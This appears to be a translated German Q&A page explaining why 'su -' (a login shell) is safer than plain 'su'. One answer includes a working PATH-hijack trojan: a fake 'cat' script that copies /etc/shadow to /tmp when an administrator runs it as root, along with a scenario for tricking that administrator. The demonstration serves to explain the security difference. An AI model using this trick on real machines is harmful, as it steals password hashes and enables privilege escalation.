GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Warum verwenden wir su - und nicht nur su?

su - ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.

su wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung bereit, die fast dieselbe ist wie beim alten Benutzer.

Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf eine Maschine und Ihr ignoranter Administrator gibt Ihnen einfach keinen Root-Zugriff. Lass ihn uns (hoffentlich) austricksen.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Jetzt fragen Sie Ihren Administrator, warum Sie nicht cat können die Dummy-Datei in Ihrem Home-Ordner, es funktioniert einfach nicht!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er vielleicht zu Ihnen und versucht es mit seinen Superuser-Fähigkeiten:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Danke, Super-Admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Er, er.

Sie haben vielleicht bemerkt, dass die beschädigte Datei $PATH Variable wurde nicht zurückgesetzt. Dies wäre nicht passiert, wenn der Admin su - aufgerufen hätte stattdessen.


su - meldet Sie vollständig als root an, wohingegen su macht es so, dass Sie vorgeben, root zu sein.

Das offensichtlichste Beispiel dafür ist ~ ist das Heimatverzeichnis von root, wenn Sie su - verwenden , aber Ihr eigenes Home-Verzeichnis, wenn Sie su verwenden .

Abhängig von Ihrem System kann dies auch Unterschiede in der Eingabeaufforderung PATH bedeuten , oder Verlaufsdatei.

Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass es genauso funktioniert, wenn Sie beide su - verwenden , aber wenn Sie beide su verwenden , kann es aufgrund unterschiedlicher Shell-Konfigurationen zu Unterschieden kommen.

Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden, dann vielleicht su ist besser für dich.

Vergessen Sie auch nicht sudo , die einen -s hat Option zum Starten einer Shell, die als root ausgeführt wird. Natürlich gibt es auch hier andere Regeln, und sie ändern sich je nachdem, welche Distribution Sie verwenden.


Der Hauptunterschied ist:

su - username richtet die Shell-Umgebung so ein, als wäre es eine saubere Anmeldung als der angegebene Benutzer, es greift auf Umgebungsvariablen des angegebenen Benutzers zu und verwendet sie,

su username startet einfach eine Shell mit aktuellen Umgebungseinstellungen für den angegebenen Benutzer.

Wenn der Benutzername nicht mit su angegeben wird und su - , das Root-Konto ist standardmäßig impliziert.


Linux
  1. Linux – Warum funktioniert Setuid nicht?

  2. Wann und warum Docker verwendet werden sollte

  3. Wie und warum man einen Remote-Docker-Host verwendet

  4. Warum erstellt mein symbolischer Link eine Datei und keinen Ordner?

  5. Warum nicht ICMP blockieren?

Warum ich rxvt als Terminal verwende

7 Gründe, warum ich Manjaro Linux verwende und Sie es auch sollten

Was ist eine virtuelle Maschine und warum sollte man sie verwenden?

Was sind Firefox Multi-Account-Container? Warum und wie wird es verwendet?

Wie und warum Linux zur Installation von Telnet verwendet wird

Warum sollte eval in Bash vermieden werden und was sollte ich stattdessen verwenden?